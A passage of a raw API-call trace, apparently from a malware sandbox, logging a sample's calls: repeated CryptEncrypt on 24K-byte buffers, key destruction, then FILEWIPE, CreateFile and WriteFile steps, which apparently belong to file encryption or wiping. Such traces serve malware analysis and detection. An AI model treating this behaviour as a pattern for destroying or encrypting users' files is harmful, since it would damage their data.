[0023.718] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.718] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.719] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.720] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0023.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0xe8f417ac40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0023.721] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptEncrypt") returned 0x7ffe2a5cb720 [0023.721] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x5ffe, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x6000) returned 1 [0023.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.722] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.722] CharLowerBuffW (in: lpsz="byte[24577]", cchLength=0xb | out: lpsz="byte[24577]") returned 0xb [0023.723] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.724] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.724] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.724] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.725] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.725] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41cc9f0*, pdwDataLen=0xe8f3dfdf68*=0x5ffe, dwBufLen=0x6000 | out: pbData=0xe8f41cc9f0*, pdwDataLen=0xe8f3dfdf68*=0x6000) returned 1 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.725] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.725] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.725] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.725] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.726] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.726] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.726] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.729] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.730] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.730] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.730] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.730] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.730] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.731] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.731] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.731] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.732] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.732] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.733] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] CharLowerBuffW (in: lpsz="byte[24574]", cchLength=0xb | out: lpsz="byte[24574]") returned 0xb [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.733] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.733] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.733] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.734] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.734] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.735] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.735] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.735] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.735] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.736] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.736] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.737] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.737] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.737] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.738] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.738] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.739] PeekMessageW (in: lpMsg=0xe8f3dfebe0, 